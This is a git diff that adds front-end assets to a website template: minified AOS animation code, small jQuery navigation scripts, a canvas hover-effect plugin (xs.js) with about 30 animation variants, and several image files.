n=t("./calculateOffset"),o=function(t,e){return[].forEach.call(t,function(t){t.node.classList.add("aos-init"),t.position=n(t.node,e.offset)}),t};e.exports=o},{"./calculateOffset":15}],20:[function(t,e){var n=function(){var t=["[data-aos]","[data-aos-offset]","[data-aos-easing]","[data-aos-delay]","[data-aos-anchor]","[data-aos-anchor-placement]","[data-aos-once]"],e=t.join(", "),n=document.querySelectorAll(e);[].forEach.call(n,function(e){var n=/^data\-(.+)$/,o=[];[].forEach.call(e.attributes,function(r){if(n.test(r.nodeName)){var a=r.nodeName.match(n)[0],i="["+a+"]",c=r.nodeName.match(n)[1];e.getAttribute(a).length&&-1!==t.indexOf(i)&&(e.setAttribute(c,r.nodeValue),o.push(a))}});for(var r=0;rn;n++){t=a[n],e=i.querySelectorAll(t.selector);for(var r,c=0,s=e.length;s>c;c++)r=e[c],r.ready||(r.ready=!0,t.fn.call(r,r))}}var r,a=[],i=window.document,c=window.MutationObserver||window.WebKitMutationObserver;e.exports=n},{}],23:[function(t,e){var n=function(t){for(var e=0,n=0;t&&!isNaN(t.offsetLeft)&&!isNaN(t.offsetTop);)e+=t.offsetLeft-("BODY"!=t.tagName?t.scrollLeft:0),n+=t.offsetTop-("BODY"!=t.tagName?t.scrollTop:0),t=t.offsetParent;return{top:n,left:e}};e.exports=n},{}]},{},[14]); +//# sourceMappingURL=aos.js.map diff --git a/template/index10/assets/js/common_js.js b/template/index10/assets/js/common_js.js new file mode 100644 index 0000000..63581c6 --- /dev/null +++ b/template/index10/assets/js/common_js.js @@ -0,0 +1,23 @@ +$(function(){ +// 点击头部导航事件 + $(".navBox .navBox_right .nav li a").on('click',function(){ + $(this).addClass("active").parent("li").siblings().find("a").removeClass("active"); + }); + $(".navBox .navBox_right .btn_common").on('click',function(){ + $(this).addClass("active").siblings(".btn_common").removeClass("active"); + }); +// 点击右侧返回事件 + $(".right_scrollTop").click(function() { + $("html,body").animate({scrollTop: 0}, 600); + }); +// 点击右侧事件 + $(".right_fixed .right_common").hover(function(){ + $(this).find(".rightShow_common").show().animate({marginRight: '0px'}, '1s');; + $(this).find(".rightPhoto_common").hide(); + },function(){ + $(this).find(".rightShow_common").hide(); + $(this).find(".rightPhoto_common").show(); + }); + + +}) diff --git a/template/index10/assets/js/index_main.js b/template/index10/assets/js/index_main.js new file mode 100644 index 0000000..eca14fa --- /dev/null +++ b/template/index10/assets/js/index_main.js @@ -0,0 +1,15 @@ +$(function(){ +// 锚点 +/* $(".navBox_right .nav #advantageBox").click(function() { + $("html, body").animate({ + scrollTop: $("#advantage").offset().top }, {duration: 500,easing: "swing"}); + return false; + }); + $(".navBox_right .nav #contact_usBox").click(function() { + $("html, body").animate({ + scrollTop: $("#contact_box").offset().top }, {duration: 500,easing: "swing"}); + return false; + });*/ + + +}) diff --git a/template/index10/assets/js/xs.js b/template/index10/assets/js/xs.js new file mode 100644 index 0000000..555bacb --- /dev/null +++ b/template/index10/assets/js/xs.js @@ -0,0 +1,1555 @@ +(function(){ + function b(t,u,s){ + this.t = t; + this.u = u; + this.c = s.color; + this.m1(); + }; + b.prototype = { + m1:function(){ + var t = this; + t.d = false; + if(t.t.css('position') != 'fixed' && t.t.css('position') != 'absolute'){ + t.t.css('position','relative'); + } + t.w = t.t.width(); + t.h = t.t.height(); + t.t.children().each(function(){ + if($(this).css('position') != 'fixed' && $(this).css('position') != 'absolute'){ + $(this).css({'position':'relative','z-index':'2'}); + }else if(parseInt($(this).css('z-index'))<2){ + $(this).css({'z-index':'2'}); + } + }); + if(t.t.css('background-color') != "rgba(0, 0, 0, 0)"){ + t.bc = t.t.css('background-color'); + }else{ + t.bc = '#ffffff'; + } + t.t.append(''); + t.ctx = t.t.children('canvas')[0].getContext('2d'); + if(t.c === false){ + t.t.mouseenter(function(){ + t.c = 'hsl('+(Math.random()*360)+',60%,80%)'; + t.ctx.fillStyle = t.c; + }); + }else{ + t.ctx.fillStyle = t.c; + }; + t.t.mousemove(function(e){ + t.x = e.pageX - t.t.offset().left-parseInt(t.t.css('border-left-width')); + t.y = e.pageY - t.t.offset().top-parseInt(t.t.css('border-top-width')); + }); + t.a = []; + t.t.mouseenter(function(e){ + t.f = true; + t.x = e.pageX - t.t.offset().left-parseInt(t.t.css('border-left-width')); + t.y = e.pageY - t.t.offset().top-parseInt(t.t.css('border-top-width')); + t.n1(); + }); + t.t.mouseleave(function(){ + t.f = false; + }); + t.ctx.clearRect(0,0,t.w,t.h); + }, + n1:function(){ + var t=this; + if(t.u<=0){ + console.warn('请注意,没有第'+t.u+'个效果!!'); + return false; + } + if(t.u<=10){ + if(t.u == 1){ + if(t.a.length == 0){ + t.x1(t); + } + }else if(t.u == 2){ + if(t.a.length == 0){ + for(var i = 0;i0){ + requestAnimationFrame(function(){ + t.x1(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x2:function(t){ + t.ctx.clearRect(0,0,t.w,t.h); + t.q = false; + t.ctx.fillStyle = t.c; + for(var i = 0;i0){ + requestAnimationFrame(function(){ + t.x3(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x4:function(t){ + t.ctx.clearRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + for(var i = 0;i0){ + t.a[i].x -= Math.ceil(t.a[i].x/14); + }else if(t.a[i].x<0){ + t.a[i].x -= Math.floor(t.a[i].x/14); + } + }else{ + if(i%2){ + t.a[i].x -= Math.floor((t.a[i].x-t.w)/14); + }else{ + t.a[i].x -= Math.ceil((t.a[i].x+t.w)/14); + } + }; + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + } + t.ctx.globalAlpha = 1; + if(t.f || t.a[0].x>-t.w){ + requestAnimationFrame(function(){ + t.x4(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x5:function(t){ + if(t.f){ + t.a.push({x:t.x,y:t.y,r:10,o:1,c:t.c,xv:(Math.random()-0.5)*5,yv:Math.random()*3+3}); + } + t.ctx.clearRect(0,0,t.w,t.h); + for(var i = 0;i=t.h){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x5(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x6:function(t){ + if(t.f && Math.random()<.5){ + t.a.push({x:t.w*Math.random(),y:t.h*Math.random(),r:1,o:1,c:t.c}); + } + t.ctx.clearRect(0,0,t.w,t.h); + for(var i = 0;i0){ + requestAnimationFrame(function(){ + t.x6(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x7:function(t){ + if(t.f){ + t.tan = Math.random()*2+1; + t.a.push({x:t.w*Math.random(),y:-t.tan,r:t.tan,c:t.c}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;it.w+t.a[i].r){ + t.a[i].x=-t.a[i].r; + } + t.a[i].y+=t.a[i].r-0.7; + if(t.a[i].y>=t.h+t.a[i].r){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x7(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x8:function(t){ + if(t.f){ + t.tan = Math.random()*2+1; + t.a.push({x:t.w*Math.random(),y:t.tan+t.h,r:t.tan,c:t.c}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;i0){ + requestAnimationFrame(function(){ + t.x8(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x9:function(t){ + if(t.f){ + t.tan = Math.random()*3+1; + t.a.push({x:Math.random()*t.w,y:Math.random()*t.h,r:t.tan,c:t.c,o:1}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;it.a[i].r+t.h || t.a[i].y<-t.a[i].r || t.a[i].x<-t.a[i].r || t.a[i].x > t.a[i].r+t.w){ + t.a.splice(i,1); + i--; + }*/ + if(t.a[i].o<=0){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x9(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x10:function(t){ + if(t.f){ + t.tan = Math.random()*3+1; + t.tan2 = Math.random()*Math.PI*2; + t.a.push({x:Math.random()*t.w,y:Math.random()*t.h,r:t.tan,c:t.c,t:t.tan2}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;it.a[i].r+t.h || t.a[i].y<-t.a[i].r || t.a[i].x<-t.a[i].r || t.a[i].x > t.a[i].r+t.w){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x10(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x11:function(t){ + if(t.f){ + t.tan = Math.random()*3+1; + t.tan2 = Math.random()*Math.PI*2; + t.a.push({x:t.x,y:t.y,r:t.tan,c:t.c,t:t.tan2}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;it.a[i].r+t.h || t.a[i].y<-t.a[i].r || t.a[i].x<-t.a[i].r || t.a[i].x > t.a[i].r+t.w){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x11(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x12:function(t){ + if(t.f){ + t.tan = Math.random()*3+4; + t.a.push({x:Math.random()*t.w,y:Math.random()*t.h,r:t.tan,c:t.c,v:0}); + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + for(var i = 0;it.a[i].r+t.h){ + t.a.splice(i,1); + i--; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.a.length>0){ + requestAnimationFrame(function(){ + t.x12(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x13:function(t){ + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + t.ctx.lineWidth = 5; + if(t.f){ + t.o = 1; + }else{ + t.o-=0.02; + } + t.ctx.globalAlpha = t.o; + t.ctx.save(); + t.ctx.translate(t.w/2,t.h/2); + t.ctx.rotate(t.m*Math.PI/180); + t.ctx.translate(-t.w/2,-t.h/2); + for(var i = 0;i0){ + requestAnimationFrame(function(){ + t.x13(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x14:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.bc; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.a[0].y += t.zy; + t.a[1].y -= t.zy; + if(t.a[0].y >= 0){ + t.a[0].y = 0; + } + if(t.a[1].y <= t.h-t.z){ + t.a[1].y = t.h-t.z; + } + if(t.a[0].y == 0){ + t.a[2].x+=t.zx; + t.a[3].x-=t.zx; + if(t.a[2].x >= -t.w/2){ + t.a[2].x = -t.w/2; + } + if(t.a[3].x <= t.w/2){ + t.a[3].x = t.w/2; + } + } + }else{ + t.a[2].x-=t.zx; + t.a[3].x+=t.zx; + if(t.a[2].x <= -t.w){ + t.a[2].x = -t.w; + } + if(t.a[3].x >= t.w){ + t.a[3].x = t.w; + } + if(t.a[2].x == -t.w){ + t.a[0].y -= t.zy; + t.a[1].y += t.zy; + if(t.a[0].y <= -t.z){ + t.a[0].y = -t.z; + } + if(t.a[1].y >= t.h){ + t.a[1].y = t.h; + } + } + } + t.ctx.fillStyle = t.c; + for(var i = 0;i0;i--){ + t.a[i].y = t.a[i-1].y; + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + if(t.a[i].y < t.h){ + t.q = true; + } + } + if(t.f || t.q){ + requestAnimationFrame(function(){ + t.x15(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x16:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.a[0].x-=t.zx; + t.a[0].y-=t.zy; + t.a[0].w+=t.zx; + t.a[0].h+=t.zy; + if(t.a[0].x<=0){ + t.a[0].x=0; + } + if(t.a[0].y<=0){ + t.a[0].y=0; + } + if(t.a[0].w>=t.w){ + t.a[0].w=t.w; + } + if(t.a[0].h>t.h){ + t.a[0].h=t.h; + } + }else{ + if(t.a[0].x == 0 && t.a[0].y == 0){ + if(t.a[0].w == t.w){ + if(Math.random()<.5){ + if(Math.random()<.5){ + t.a[0].xj = 0; + t.a[0].yj = 0; + }else{ + t.a[0].xj = t.zx; + t.a[0].yj = 0; + } + }else{ + if(Math.random()<.5){ + t.a[0].xj = 0; + t.a[0].yj = t.zy; + }else{ + t.a[0].xj = t.zx; + t.a[0].yj = t.zy; + } + } + }else{ + t.a[0].xj = 0; + t.a[0].yj = 0; + } + }else if(t.a[0].x == 0){ + t.a[0].xj = 0; + t.a[0].yj = t.zy; + }else if(t.a[0].y == 0){ + t.a[0].xj = t.zx; + t.a[0].yj = 0; + }else{ + t.a[0].xj = t.zx; + t.a[0].yj = t.zy; + } + t.a[0].x+=t.a[0].xj; + t.a[0].y+=t.a[0].yj; + t.a[0].w-=t.zx; + t.a[0].h-=t.zy; + if(t.a[0].w <= 0){ + t.a[0].w = 0; + } + if(t.a[0].h <= 0){ + t.a[0].h = 0; + } + if(t.a[0].x >= t.w){ + t.a[0].x = t.w; + } + if(t.a[0].y >= t.h){ + t.a[0].y = t.h; + } + } + t.ctx.fillRect(t.a[0].x,t.a[0].y,t.a[0].w,t.a[0].h); + if(t.a[0].w == 0 && t.a[0].h == 0){ + t.a=[]; + } + if(t.f || t.a.length > 0){ + requestAnimationFrame(function(){ + t.x16(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x17:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.a1+=t.h/20; + t.a2-=t.h/20; + if(t.a1 >= 0){ + t.a1 = 0; + } + if(t.a2 <=0 ){ + t.a2 = 0; + } + }else{ + t.a1-=t.h/20; + t.a2+=t.h/20; + if(t.a1 <= -t.h){ + t.a1 = -t.h; + } + if(t.a2 >= t.h){ + t.a2 = t.h; + } + } + t.ctx.beginPath(); + t.ctx.moveTo(0,-t.h); + for(var i=0;i -t.h){ + requestAnimationFrame(function(){ + t.x17(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x18:function(t){ + t.q = true; + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + t.a[0]+=t.a[2]; + t.a[1]+=t.a[3]; + if(t.f){ + if(t.a[0] <= t.a[4]){ + t.a[0] = 2*t.a[4]-t.a[0]; + t.a[2]*=-1; + }else if(t.a[0] >= t.w-t.a[4]){ + t.a[0] = 2*(t.w-t.a[4])-t.a[0]; + t.a[2]*=-1; + } + if(t.a[1] <= t.a[4]){ + t.a[1] = 2*t.a[4]-t.a[1]; + t.a[3]*=-1; + }else if(t.a[1] >= t.h-t.a[4]){ + t.a[1] = 2*(t.h-t.a[4])-t.a[1]; + t.a[3]*=-1; + } + }else{ + if(t.a[0]<=-t.a[4] || t.a[0]>=t.a[4]+t.w || t.a[1]<=-t.a[4] || t.a[1]>=t.a[4]+t.h){ + t.q = false; + t.a = []; + } + } + t.ctx.fillStyle = t.c; + t.ctx.globalAlpha = 1; + t.ctx.beginPath(); + t.ctx.arc(t.a[0],t.a[1],t.a[4],0,Math.PI*2); + t.ctx.closePath(); + t.ctx.fill(); + if(t.f || t.q){ + requestAnimationFrame(function(){ + t.x18(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x19:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.clearRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + if(t.f){ + t.a[0]+=t.zx; + if(t.a[0] >= 0){ + t.a[0] = 0; + t.a[1]-=t.zy; + t.a[3]+=2*t.zy; + } + if(t.a[1] <= 0){ + t.a[1] = 0; + } + if(t.a[3] >= t.h){ + t.a[3] = t.h; + } + }else{ + t.a[1]+=t.zy; + t.a[3]-=2*t.zy; + if(t.a[1] >= (t.h/2)-1){ + t.a[1] = (t.h/2)-1; + } + if(t.a[3] <= 2){ + t.a[3] = 2; + } + if(t.a[1] == (t.h/2)-1 && t.a[3] == 2){ + t.a[0]-=t.zx; + } + if(t.a[0] <= -t.w){ + t.a[0] = -t.w; + } + } + t.ctx.fillRect(t.a[0],t.a[1],t.a[2],t.a[3]); + if(t.f || t.a[0] > -t.w){ + requestAnimationFrame(function(){ + t.x19(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x20:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.clearRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + if(t.f){ + t.a[2]+=t.z/20; + if(t.a[2] >= t.z){ + t.a[2] = t.z; + } + }else{ + t.a[2]-=t.z/20; + if(t.a[2] <= 1){ + t.a[2] = 1; + } + } + t.ctx.beginPath(); + t.ctx.arc(t.a[0],t.a[1],t.a[2],0,Math.PI*2); + t.ctx.fill(); + if(t.f || t.a[2] > 1){ + requestAnimationFrame(function(){ + t.x20(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x21:function(t){ + if(t.f && t.a.length < 50){ + t.z = Math.ceil(Math.random()*4); + if(t.z == 1){ + t.a.push({x:t.w/2,y:t.h/2,r:2,zx:2,zy:0}); + }else if(t.z == 2){ + t.a.push({x:t.w/2,y:t.h/2,r:2,zx:-2,zy:0}); + }else if(t.z == 3){ + t.a.push({x:t.w/2,y:t.h/2,r:2,zx:0,zy:2}); + }else{ + t.a.push({x:t.w/2,y:t.h/2,r:2,zx:0,zy:-2}); + } + } + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + if(t.f){ + t.o = 1; + }else{ + t.o-=0.05; + if(t.o <= 0){ + t.o = 0; + } + } + t.ctx.globalAlpha = t.o; + for(var i = 0;i= t.w || t.a[i].y <= -t.a[i].r || t.a[i].y >= t.h ){ + t.a.splice(i,1); + i--; + } + } + if(t.f || t.o >0){ + requestAnimationFrame(function(){ + t.x21(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + } + }, + x22:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.clearRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + if(t.f){ + t.a[4]+=t.z; + t.a[0]-=t.zx/2; + t.a[1]-=t.zy/2; + t.a[2]+=t.zx; + t.a[3]+=t.zy; + if(t.a[4] >= 4*Math.PI){ + t.a[4] = 4*Math.PI; + } + if(t.a[0] <=0 ){ + t.a[0] = 0; + } + if(t.a[1] <= 0 ){ + t.a[1] = 0; + } + if(t.a[2] >= t.w ){ + t.a[2] = t.w; + } + if(t.a[3] >= t.h ){ + t.a[3] = t.h; + } + }else{ + t.a[4]-=t.z; + t.a[0]+=t.zx/2; + t.a[1]+=t.zy/2; + t.a[2]-=t.zx; + t.a[3]-=t.zy; + if(t.a[4] <= 0){ + t.a[4] = 0 + } + } + t.ctx.save(); + t.ctx.translate(t.w/2,t.h/2); + t.ctx.rotate(t.a[4]); + t.ctx.translate(-t.w/2,-t.h/2); + t.ctx.fillRect(t.a[0],t.a[1],t.a[2],t.a[3]); + t.ctx.restore(); + if(t.f || t.a[4] > 0){ + requestAnimationFrame(function(){ + t.x22(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x23:function(t){ + t.ctx.clearRect(0,0,t.w,t.h); + t.q = false; + t.ctx.fillStyle = t.c; + for(var i = 0;i= -t.h/1.3 && t.a[i-1].y >= t.a[i].y + (t.h-t.h/1.3)) || t.a[i-1].y == 0){ + t.a[i].y+=t.h/20; + } + if(t.a[i].y >= 0){ + t.a[i].y = 0; + } + }else{ + if(i == 0){ + t.a[i].y-=t.h/20; + }else if(t.a[i-1].y <= t.a[i].y-(t.h-t.h/1.3) || t.a[i-1].y == -t.h){ + t.a[i].y-=t.h/20; + } + if(t.a[i].y <= -t.h){ + t.a[i].y = -t.h; + } + }; + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + if(t.a[i].y > -t.h){ + t.q = true; + } + } + t.ctx.globalAlpha = 1; + if(t.f || t.q){ + requestAnimationFrame(function(){ + t.x23(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x24:function(t){ + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + for(var i = 0;i= 0){ + t.z0 = 0; + } + if(t.z1 <= 0){ + t.z1 = 0; + } + }else{ + t.z0-=3; + t.z1+=3; + if(t.z0 <= -90){ + t.z0 = -90; + } + if(t.z1 >= 90){ + t.z1 = 90; + } + } + t.ctx.save(); + t.ctx.translate(0,t.h/2); + t.ctx.rotate(t.z0 * Math.PI/180); + t.ctx.translate(0,-t.h/2); + t.ctx.fillRect(t.a[0].x,t.a[0].y,t.a[0].w,t.a[0].h); + t.ctx.restore(); + t.ctx.save(); + t.ctx.translate(0,t.h/2); + t.ctx.rotate(t.z1 * Math.PI/180); + t.ctx.translate(0,-t.h/2); + t.ctx.fillRect(t.a[1].x,t.a[1].y,t.a[1].w,t.a[1].h); + t.ctx.restore(); + if(t.f || t.z1 < 90){ + requestAnimationFrame(function(){ + t.x25(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x26:function(t){ + t.q = false; + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.a[0].y-=t.z; + t.a[0].h+=2*t.z; + if(t.a[0].y <= 0){ + t.a[0].y = 0; + } + if(t.a[0].h >= t.h){ + t.a[0].h = t.h; + } + }else{ + t.a[0].y+=t.z; + t.a[0].h-=2*t.z; + if(t.a[0].y >= t.h/2){ + t.a[0].y = t.h/2; + } + if(t.a[0].h <= 0){ + t.a[0].h = 0; + } + } + t.ctx.fillRect(t.a[0].x,t.a[0].y,t.a[0].w,t.a[0].h); + if(t.a[0].h > 0){ + t.q = true; + } + for(var i = t.a.length-1;i>0;i--){ + t.a[i].y = t.a[i-1].y; + t.a[i].h = t.a[i-1].h; + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + if(t.a[i].h > 0){ + t.q = true; + } + } + if(t.f || t.q){ + requestAnimationFrame(function(){ + t.x26(t); + }); + }else{ + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x27:function(t){ + t.ctx.globalAlpha = 0.3; + t.ctx.fillStyle = t.bc; + t.ctx.fillRect(0,0,t.w,t.h); + t.ctx.fillStyle = t.c; + t.a[0]-=t.zx*t.z; + t.a[1]-=t.zy*t.z; + t.a[2]+=2*t.zx*t.z; + t.a[3]+=2*t.zy*t.z; + if(t.a[2] <= 0 || t.a[2] >= t.w){ + t.z*=-1; + } + if(t.f){ + t.o = 1; + }else{ + t.o-=0.02; + } + t.ctx.globalAlpha = t.o; + t.ctx.fillRect(t.a[0],t.a[1],t.a[2],t.a[3]); + if(t.f || t.o>0){ + requestAnimationFrame(function(){ + t.x27(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x28:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.a1.length>0){ + t.z = Math.floor(Math.random()*t.a1.length); + t.a[t.a1[t.z]].t = true; + t.a1.splice(t.z,1); + } + if(t.f){ + t.o = 1; + }else{ + t.o-=0.02; + } + t.ctx.globalAlpha = t.o; + for(var i=0;i= 0){ + t.a[i].y = 0; + } + } + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + } + if(t.f || t.o>0){ + requestAnimationFrame(function(){ + t.x28(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x29:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.z = 1; + }else{ + t.z = -1; + } + for(var i=0;i= 0){ + t.a[i].y = 0; + }else if(t.a[i].y <= -t.h){ + t.a[i].y = -t.h; + } + t.ctx.fillRect(t.a[i].x,t.a[i].y,t.a[i].w,t.a[i].h); + } + for(var j=0;j= 0){ + t.a1[j].x = 0; + }else if(t.a1[j].x <= -t.w){ + t.a1[j].x = -t.w; + } + t.ctx.fillRect(t.a1[j].x,t.a1[j].y,t.a1[j].w,t.a1[j].h); + } + if(t.f || (t.a[0].y > -t.h && t.a1[0].x > -t.w)){ + requestAnimationFrame(function(){ + t.x29(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + }, + x30:function(t){ + t.ctx.globalAlpha = 1; + t.ctx.fillStyle = t.c; + t.ctx.clearRect(0,0,t.w,t.h); + if(t.f){ + t.a[3]+=10; + }else{ + t.a[3]-=10; + }; + if(t.a[3] >= 270){ + t.a[3] = 270; + }else if(t.a[3] <= -90){ + t.a[3] = -90; + } + t.ctx.beginPath(); + t.ctx.moveTo(t.a[0],t.a[1]); + t.ctx.arc(t.a[0],t.a[1],t.a[2],-90*Math.PI/180,t.a[3]*Math.PI/180); + t.ctx.closePath(); + t.ctx.fill(); + if(t.f || t.a[3] > -90){ + requestAnimationFrame(function(){ + t.x30(t); + }); + }else{ + t.a = []; + t.ctx.clearRect(0,0,t.w,t.h); + t.d = false; + } + } + }; + var y = { + color:false, + }; + $.fn.xs999 = function(u,g){ + y = { + color:false, + } + $.extend(y,g); + $(this).each(function() { + new b($(this),u,y); + }); + } +})(jQuery); +(function() { + var lastTime = 0; + var vendors = ['webkit', 'moz']; + for(var xx = 0; xx < vendors.length && !window.requestAnimationFrame; ++xx) { + window.requestAnimationFrame = window[vendors[xx] + 'RequestAnimationFrame']; + window.cancelAnimationFrame = window[vendors[xx] + 'CancelAnimationFrame'] || + window[vendors[xx] + 'CancelRequestAnimationFrame']; + } + + if (!window.requestAnimationFrame) { + window.requestAnimationFrame = function(callback, element) { + var currTime = new Date().getTime(); + var timeToCall = Math.max(0, 16.7 - (currTime - lastTime)); + var id = window.setTimeout(function() { + callback(currTime + timeToCall); + }, timeToCall); + lastTime = currTime + timeToCall; + return id; + }; + } + if (!window.cancelAnimationFrame) { + window.cancelAnimationFrame = function(id) { + clearTimeout(id); + }; + } +}()); \ No newline at end of file diff --git a/template/index10/assets/picture/57ede64c39bb4880.png b/template/index10/assets/picture/57ede64c39bb4880.png new file mode 100644 index 0000000..20f7a52 Binary files /dev/null and b/template/index10/assets/picture/57ede64c39bb4880.png differ diff --git a/template/index10/assets/picture/about_rightimg1.png b/template/index10/assets/picture/about_rightimg1.png new file mode 100644 index 0000000..0825f73 Binary files /dev/null and b/template/index10/assets/picture/about_rightimg1.png differ diff --git a/template/index10/assets/picture/about_rightimg2.png b/template/index10/assets/picture/about_rightimg2.png new file mode 100644 index 0000000..3a92cf9 Binary files /dev/null and b/template/index10/assets/picture/about_rightimg2.png differ diff --git a/template/index10/assets/picture/advantage_1.png b/template/index10/assets/picture/advantage_1.png new file mode 100644 index 0000000..2c769cf Binary files /dev/null and b/template/index10/assets/picture/advantage_1.png differ diff --git a/template/index10/assets/picture/advantage_2.png b/template/index10/assets/picture/advantage_2.png new file mode 100644 index 0000000..3cec273 Binary files /dev/null and b/template/index10/assets/picture/advantage_2.png differ diff --git a/template/index10/assets/picture/advantage_3.png b/template/index10/assets/picture/advantage_3.png new file mode 100644 index 0000000..19c3279 Binary files /dev/null and b/template/index10/assets/picture/advantage_3.png differ diff --git a/template/index10/assets/picture/advantage_4.png b/template/index10/assets/picture/advantage_4.png new file mode 100644 index 0000000..a864de6 Binary files /dev/null and b/template/index10/assets/picture/advantage_4.png differ diff --git a/template/index10/assets/picture/banner_right.png b/template/index10/assets/picture/banner_right.png new file mode 100644 index 0000000..c83fa78 Binary files /dev/null and b/template/index10/assets/picture/banner_right.png differ diff --git a/template/index10/assets/picture/payment_1.png b/template/index10/assets/picture/payment_1.png new file mode 100644 index 0000000..2db5c1c Binary files /dev/null and b/template/index10/assets/picture/payment_1.png differ diff --git a/template/index10/assets/picture/payment_2.png b/template/index10/assets/picture/payment_2.png new file mode 100644 index 0000000..5067faf Binary files /dev/null and b/template/index10/assets/picture/payment_2.png differ diff --git a/template/index10/assets/picture/payment_3.png b/template/index10/assets/picture/payment_3.png new file mode 100644 index 0000000..e33733b Binary files /dev/null and b/template/index10/assets/picture/payment_3.png differ diff --git a/template/index10/assets/picture/payment_4.png 